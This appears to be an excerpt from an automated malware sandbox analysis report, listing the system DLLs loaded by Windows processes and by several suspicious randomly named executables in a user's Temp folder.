                              Source: C:\Windows\explorer.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\explorer.exeSection loaded: mswsock.dll
                              Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dll
                              Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dll
                              Source: C:\Windows\explorer.exeSection loaded: dnsapi.dll
                              Source: C:\Windows\explorer.exeSection loaded: napinsp.dll
                              Source: C:\Windows\explorer.exeSection loaded: pnrpnsp.dll
                              Source: C:\Windows\explorer.exeSection loaded: wshbth.dll
                              Source: C:\Windows\explorer.exeSection loaded: nlaapi.dll
                              Source: C:\Windows\explorer.exeSection loaded: winrnr.dll
                              Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\explorer.exeSection loaded: explorerframe.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: apphelp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: winmm.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: windows.storage.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: wldp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: winhttp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: webio.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: mswsock.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: iphlpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: winnsi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: sspicli.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: dnsapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: rasadhlp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: fwpuclnt.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: schannel.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: mskeyprotect.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: ntasn1.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: ncrypt.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: ncryptsslp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: msasn1.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: cryptsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: rsaenh.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: cryptbase.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: gpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: dpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: uxtheme.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: wbemcomn.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: amsi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: userenv.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: profapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: version.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dll
                              Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dll
                              Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: apphelp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: wininet.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: sspicli.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: uxtheme.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: mstask.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: windows.storage.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: wldp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: mpr.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: dui70.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: duser.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: chartv.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: onecoreuapcommonproxystub.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: oleacc.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: atlthunk.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: textinputframework.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: coreuicomponents.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: coremessaging.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: ntmarta.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: coremessaging.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: wintypes.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: wintypes.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: wintypes.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: wtsapi32.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: winsta.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: textshaping.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: propsys.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: windows.staterepositoryps.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: windows.fileexplorer.common.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: iertutil.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: profapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: edputil.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: urlmon.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: srvcli.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: netutils.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: appresolver.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: bcp47langs.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: slc.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: userenv.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: sppc.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: onecorecommonproxystub.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeSection loaded: explorerframe.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: apphelp.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: wininet.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: wininet.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: sspicli.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: iertutil.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: windows.storage.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: wldp.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: profapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: winhttp.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: mswsock.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: iphlpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: winnsi.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: urlmon.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: srvcli.dll
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeSection loaded: netutils.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: apphelp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: netapi32.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: wininet.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: samcli.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: netutils.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: taskschd.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: sspicli.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: xmllite.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: iertutil.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: windows.storage.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: wldp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: profapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: winhttp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: iphlpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: mswsock.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: winnsi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: urlmon.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: srvcli.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: dnsapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: rasadhlp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: fwpuclnt.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: schannel.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: mskeyprotect.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: ntasn1.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: msasn1.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: dpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: cryptsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: rsaenh.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: cryptbase.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: gpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: ncrypt.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: ncryptsslp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: napinsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: pnrpnsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: wshbth.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: nlaapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: winrnr.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: samlib.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: netapi32.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: wininet.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: samcli.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: netutils.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: taskschd.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: sspicli.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: xmllite.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: iertutil.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: windows.storage.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: wldp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: profapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: winhttp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: iphlpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: mswsock.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: winnsi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: urlmon.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: srvcli.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: dnsapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: fwpuclnt.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: rasadhlp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: schannel.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: mskeyprotect.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: ntasn1.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: msasn1.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: dpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: cryptsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: rsaenh.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: cryptbase.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: gpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: ncrypt.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: ncryptsslp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: napinsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: pnrpnsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: wshbth.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: nlaapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: winrnr.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeSection loaded: samlib.dll
                              Source: C:\Program Files\Windows Media Player\graph\graph.exeSection loaded: apphelp.dll
                              Source: C:\Program Files\Windows Media Player\graph\graph.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: apphelp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: winmm.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: iphlpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: cryptbase.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: cryptsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: rsaenh.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: dhcpcsvc6.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: dhcpcsvc.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: dnsapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: napinsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: pnrpnsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: wshbth.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: nlaapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: mswsock.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: winrnr.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: uxtheme.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: windows.storage.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: wldp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: windowscodecs.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: napinsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: pnrpnsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: wshbth.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: nlaapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeSection loaded: winrnr.dll
                              Source: C:\Program Files\Windows Media Player\graph\graph.exeSection loaded: kernel.appcore.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: userenv.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: cryptbase.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: cryptsp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: amsi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: windows.storage.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: wldp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: winhttp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: ondemandconnroutehelper.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: webio.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: mswsock.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: iphlpapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: winnsi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: sspicli.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: dnsapi.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: rasadhlp.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: fwpuclnt.dll
                              Source: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exeSection loaded: schannel.dll
                              Source: C:\Program Files\Windows Media Player\graph\graph.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dll
                              Source: C:\Windows\explorer.exeSection loaded: userenv.dll
                              Source: C:\Windows\explorer.exeSection loaded: msvcp140.dll
                              Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dll
                              Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dll
                              Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dll
                              Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dll
                              Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dll
                              Source: C:\Windows\explorer.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\explorer.exeSection loaded: wininet.dll
                              Source: C:\Windows\explorer.exeSection loaded: powrprof.dll
                              Source: C:\Windows\explorer.exeSection loaded: umpdc.dll
                              Source: C:\Windows\explorer.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\explorer.exeSection loaded: mswsock.dll
                              Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dll
                              Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dll
                              Source: C:\Windows\explorer.exeSection loaded: dnsapi.dll
                              Source: C:\Windows\explorer.exeSection loaded: napinsp.dll
                              Source: C:\Windows\explorer.exeSection loaded: pnrpnsp.dll
                              Source: C:\Windows\explorer.exeSection loaded: wshbth.dll
                              Source: C:\Windows\explorer.exeSection loaded: nlaapi.dll
                              Source: C:\Windows\explorer.exeSection loaded: winrnr.dll
                              Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\explorer.exeSection loaded: explorerframe.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
